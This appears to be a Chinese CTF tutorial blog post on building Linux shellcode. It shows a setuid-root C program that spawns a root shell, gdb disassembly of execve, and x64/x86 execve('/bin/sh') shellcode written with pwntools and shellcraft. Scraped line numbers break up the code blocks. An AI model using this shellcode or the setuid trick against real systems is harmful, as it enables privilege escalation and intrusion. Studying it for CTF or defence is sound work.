构造 Shellcode (on Linux)
0x10 综述
先上一份示例代码 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17//sample.c
int main(int argc, char *argv[])
{
	setreuid(0, 0);
	char *data[2];
	char sh[] = "/bin/sh";
	
	data[0] = sh;
	data[1] = NULL;
	
	execve(sh, data, NULL);
	return 0;
}
运行结果如下: 1
2
3
4
5
6
7
8kyrios@predator:~/CTF/PWN/Elder$ sudo su
[sudo] kyrios 的密码: 
predator# gcc -Wall -static sample.c -o sample
predator# chmod 4577 sample
predator# exit
kyrios@predator:~/CTF/PWN/Elder$ ./sample
# whoami
root
看,通过运行这个程序,我们以普通用户的身份拿到了 root 权限的 shell。
/*也许不少人会更熟悉system("/bin/sh");这样的写法。但是
system 函数本质上是 fork 出一个进程来调用了 execve
函数,所以个人感觉这样其实是更接近本质的 shellcode。当然实际应用肯定还是
system 写起来方便,而且就这份代码而言,两者使用起来并没有什么差别。
上面的代码包含了很多底层的细节,如果你了解 Linux
用户权限的话应该会有所体会。不过本文的着重点并不在于此,故不赘述。*/
0x20 解析&构造
接下来我们用 gdb 来分析一下这份代码,我们首先看一下关键的 execve
函数部分 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16kyrios@predator:~/CTF/PWN/Elder$ gdb sample
GNU gdb (Ubuntu 7.11-0ubuntu1) 7.11
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
gdb-peda$ disas execve
Dump of assembler code for function execve:
   0x000000000043e890 <+0>:		mov    eax,0x3b
   0x000000000043e895 <+5>:		syscall 
   0x000000000043e897 <+7>:		cmp    rax,0xfffffffffffff001
   0x000000000043e89d <+13>:	jae    0x444200 <__syscall_error>
   0x000000000043e8a3 <+19>:	ret    
End of assembler dump.
这里 syscall 是 64 位的系统调用(32 位的系统调用是 int
0x80)。而前面的mov    eax,0x3b是把
0x3b(59)作为本次系统调用的编号。系统内核会根据不同的编号来实现不同的调用。
借此机会,我们简单的讲一下系统调用。
系统调用
在电脑中,系统调用(英语:system call),又称为系统呼叫,指运行在使用者空间的程序向操作系统内核请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。
我们可以看看哪些操作是需要通过系统调用来实现的,在我的本机上系统调用的编号文件在/usr/include/asm/unistd_64.h里面
把 64 改成 32 就是 32 位的系统调用编号。我们可以看看里面的内容
1
2
3
4
5
6
7
8
9
10
11
···1
2mov    eax,0x4
syscall
接下来我们再看一下主程的反汇编结果 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000004009ae <+0>:		push   rbp
   0x00000000004009af <+1>:		mov    rbp,rsp
   0x00000000004009b2 <+4>:		sub    rsp,0x20
   0x00000000004009b6 <+8>:		mov    rax,QWORD PTR fs:0x28
   0x00000000004009bf <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004009c3 <+21>:	xor    eax,eax
   0x00000000004009c5 <+23>:	mov    esi,0x0
   0x00000000004009ca <+28>:	mov    edi,0x0
   0x00000000004009cf <+33>:	call   0x43fbd0 <setreuid>
   0x00000000004009d4 <+38>:	movabs rax,0x68732f6e69622f
   0x00000000004009de <+48>:	mov    QWORD PTR [rbp-0x10],rax
   0x00000000004009e2 <+52>:	lea    rax,[rbp-0x10]
   0x00000000004009e6 <+56>:	mov    QWORD PTR [rbp-0x20],rax
   0x00000000004009ea <+60>:	mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004009f2 <+68>:	lea    rcx,[rbp-0x20]
   0x00000000004009f6 <+72>:	lea    rax,[rbp-0x10]
   0x00000000004009fa <+76>:	mov    edx,0x0
   0x00000000004009ff <+81>:	mov    rsi,rcx
   0x0000000000400a02 <+84>:	mov    rdi,rax
   0x0000000000400a05 <+87>:	call   0x43e890 <execve>
   0x0000000000400a0a <+92>:	mov    eax,0x0
   0x0000000000400a0f <+97>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400a13 <+101>:	xor    rdx,QWORD PTR fs:0x28
   0x0000000000400a1c <+110>:	je     0x400a23 <main+117>
   0x0000000000400a1e <+112>:	call   0x442b60 <__stack_chk_fail>
   0x0000000000400a23 <+117>:	leave  
   0x0000000000400a24 <+118>:	ret    
End of assembler dump.
- 参数1:rax(/bin/sh 的地址)
- 参数2:rcx(/bin/sh 的地址以及内容为 NULL 的数组)
- 参数3:NULL
根据这个我们能用 pwntools 写出 shellcode 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# x64
shellcode = asm(
'''
xor rdi,rdi     ; rdi null
push rdi        ; null
push rdi        ; null
pop rsi         ; argv null
pop rdx         ; envp null
mov rdi,0x68732f6e69622f2f ; hs/nib//
shr rdi,0x08    ; no nulls, so shr to get \0
push rdi        ; \0hs/nib/
push rsp       
pop rdi         ; pointer to arguments
push 0x3b       ; execve
pop rax          
syscall         ; make the call
'''
)1
2
3
4
5
6
7
8
9
10
11
12# x86
shellcode = asm(
'''
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor eax,eax
mov al,0xb
int 0x80
'''
)
0x30 就是有这种操作
如果你实在不想写 shellcode,pwntools 有自带的 shellcode 生成器。
语法:shellcraft.arch.os.cmd()
比如你要生成在 64 位的 Linux 上执行 /bin/sh 的 shellcode
就可以使用shellcraft.amd64.linux.sh()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23>>> print shellcraft.amd64.linux.sh()
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall